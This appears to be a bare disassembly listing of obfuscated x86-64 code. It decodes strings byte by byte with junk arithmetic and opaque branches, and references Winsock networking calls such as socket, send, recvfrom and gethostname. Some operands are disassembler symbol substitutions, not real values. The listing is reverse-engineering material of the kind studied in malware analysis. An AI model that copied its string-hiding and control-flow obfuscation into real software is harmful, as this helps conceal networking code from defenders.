lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x14007c27f
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14007c25f
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14007c240
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14007c223
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14007c203
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14007c1e7
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14007c1c1
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14007c19b
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14007c17f
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14007bf70
lea rbx, [r8 + 9]
lea r8, [rbx + 0x61]
jmp 0x14007bf70
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x14007bf60
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007bef0
add r10b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7a
jmp 0x14007be90
lea edx, [r10 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
jmp 0x14007c802
sub r10b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
inc r8
dec r11
inc r11
jmp 0x14007be73
sub r10b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007be73
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x14007c850
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c88f
add r10b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x14007c892
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007c8c4
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, r10b
jmp 0x14007c8f2
add r10b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
add r10b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
mov byte [rbp + r11 + 0x510], dil
inc r11
jmp 0x14007be73
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 4
jb 0x14007c2c6
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x14007c805
lea edx, [r10 + 6]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2a
add dil, dl
cmp rbx, 3
jae 0x14007c725
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14007c673
lea edx, [r10 + 0x54]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4c
jmp 0x14007c2ed
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14007c740
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14007c5c1
lea edx, [r10 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007c32e
sub r10b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, r10b
jmp 0x14007c8f2
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007c8c4
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14007c892
sub r10b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c88f
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
jmp 0x14007c850
sub r10b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
dec r11
inc r11
jmp 0x14007be73
add r10b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007be73
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
jmp 0x14007c802
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14007c50c
lea edx, [r10 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
jmp 0x14007c37b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c547
add r10b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c570
add r10b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c88f
cmp rbx, rcx
jne 0x14007c598
add r10b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
dec r11
inc r11
jmp 0x14007be73
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007c37e
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
jmp 0x14007c802
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c5e6
lea edx, [r10 - 0x1a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4a
jmp 0x14007c802
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c60c
sub r10b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
jmp 0x14007c892
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c634
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007c8c4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007c331
sub r10b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c6ae
sub r10b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c6d6
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007c8c4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c6fc
add r10b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x14007c88f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c2f0
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
jmp 0x14007c802
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
jmp 0x14007c850
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x5c]
jmp 0x14007c8c4
add r10b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
add r10b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c8f2
sub r10b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c88f
add r10b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
inc r8
dec r11
inc r11
jmp 0x14007be73
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r10b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x510], cl
inc r8
dec r11
inc r11
jmp 0x14007be73
movzx r10d, r11b
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r10b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x26
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x510], cl
jmp 0x14007c88f
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007be73
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x7a
movzx r10d, r11b
add r10b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x510], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x510], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
lea rax, [r11 + r15]
and sil, al
mov ecx, 0x2f
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r9b
movzx eax, byte [rbp + r11 + 0x510]
add rax, r8
add r11, rax
inc r11
jmp 0x14007be73
add r10b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x14007be70
sub r10b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007be58
lea rcx, [rbp + 0x1435088]
jmp 0x14007c9be
lea rcx, [rbp + 0x6ffc22]
jmp 0x14007c9be
lea rcx, [rbp + 0x510]
lea rdx, [0x1401dd735]
call fcn.14003a4c0
mov byte [rbp + 0x540], WSACleanup
mov byte [rbp + 0x541], 0x57
mov byte [rbp + 0x542], 0x5b
mov byte [rbp + 0x543], 0x59
mov byte [rbp + 0x544], 0x56
mov byte [rbp + 0x545], 0x5a
mov byte [rbp + 0x546], 0x1c
mov byte [rbp + 0x547], 0x7a
mov byte [rbp + 0x548], 0xac
mov byte [rbp + 0x549], 0xb0
mov byte [rbp + 0x54a], 0xb5
mov byte [rbp + 0x54b], 0xb6
mov byte [rbp + 0x54c], 0x4a
mov byte [rbp + 0x54d], 0x46
mov byte [rbp + 0x54e], 0x4f
mov byte [rbp + 0x54f], 0xb5
mov byte [rbp + 0x550], 0x26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x551], xmm0
mov qword [rbp + 0x561], rax
mov word [rbp + 0x569], ax
movabs rsi, 0x3310330529d85427
movabs r14, 0xcb91cb2e789af55f
movabs r12, 0xff50ff19d139a4c3
movabs r15, 0x9930990f7d88fc75
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x14007d52f
movzx r10d, byte [rbp + r11 + 0x540]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007d526
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007caec
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x11
jmp 0x14007cb19
je 0x14007d4ba
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d463
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d438
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007d3f1
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007d51d
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14007cb4a
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x14007cb80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007d3d9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d3b6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d396
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d34f
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007d093
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007d078
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007d052
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007d02c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007d00d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007cfea
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007cfca
lea rcx, [r8 + 0x64]
cmp rbx, rcx
je 0x14007cfaf
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007cf92
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007cb90
mov rbx, rcx
lea r8, [rcx + 3]
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14007d500
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007d4e3
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x14007cd59
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14007cd3e
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x14007cd23
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14007cf44
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x14007cee5
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007cea6
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007ce7e
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007cb90
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14007ce4f
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14007ce32
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14007ce17
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14007cdfa
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14007cdd7
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14007cdbb
lea rcx, [r8 + 9]
cmp rbx, rcx
ja 0x14007cd95
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007cd76
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007cb90
mov rbx, rcx
lea r8, [rcx + 5]
jmp 0x14007cb90
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x14007cb80
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x14007cb20
sub r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
jmp 0x14007cac0
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14007d40b
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14007caa3
lea edx, [r9 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14007d30e
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14007d44a
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
jmp 0x14007d44a
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14007d365
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14007d475
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
add r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3d
mov byte [rbp + r11 + 0x540], dil
inc r11
jmp 0x14007caa3
lea ecx, [r9 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
cmp r8, 0x400
jb 0x14007ce96
lea ecx, [r9 - 0x76]
movzx eax, cl
and al, r10b
mov edx, 0x1d
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007d40b
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
cmp rbx, 1
jae 0x14007d2f8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d2a3
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
lea ecx, [r9 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5d
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x14007d33c
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x14007d1a8
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
jmp 0x14007cefb
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x14007d475
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x14007d365
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007d44a
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007d44a
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d311
add r9b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007caa3
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x14007caa3
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14007d40b
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14007d0b7
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x14007cf5a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d0f2
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d11b
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
add rbx, r8
jmp 0x14007d44a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007d14a
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007caa3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007d17c
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007caa3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cf5a
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d40b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d1cc
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x14007d40b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d1f8
add r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x73
dec r11
inc r11
jmp 0x14007caa3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d21c
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x14007d311
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d245
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x49
add rbx, r8
jmp 0x14007d44a
cmp rbx, rcx
jne 0x14007d267
add r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x27
jmp 0x14007d44a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007cefb
add r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3f
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d2cb
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007d365
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cebc
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
add rbx, r8
jmp 0x14007d44a
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
dec r9b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 7
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x540], cl
add rbx, r8
jmp 0x14007d44a
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0xa]
jmp 0x14007d365
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x1b
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x540], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007d475
sub r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xf
add rbx, r8
jmp 0x14007d44a
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x35
dec r11
inc r11
jmp 0x14007caa3
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x14007d40b
movzx r9d, r11b
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
sub r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x29
add r10b, r9b
mov byte [rbp + r11 + 0x540], r10b
inc r8
dec r11
inc r11
jmp 0x14007caa3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x67
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007caa3
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x55
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, cl
mov byte [rbp + r11 + 0x540], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x33
movzx eax, byte [rbp + r11 + 0x540]
add rax, r8
add r11, rax
inc r11
jmp 0x14007caa3
add r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x2b
jmp 0x14007caa0
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x4d
jmp 0x14007ca88
lea rcx, [rbp + 0x1588f74]
jmp 0x14007d536
lea rcx, [rbp + 0xb0e39b]
jmp 0x14007d536
lea rcx, [rbp + 0x540]
lea rdx, [0x1401dd72c]
call fcn.14003a4c0
mov byte [rbp + 0x2d0], 0x75
mov byte [rbp + 0x2d1], 0xaf
mov byte [rbp + 0x2d2], __WSAFDIsSet
mov byte [rbp + 0x2d3], __WSAFDIsSet
mov byte [rbp + 0x2d4], 0xa8
mov byte [rbp + 0x2d5], 0x90
mov byte [rbp + 0x2d6], 0x56
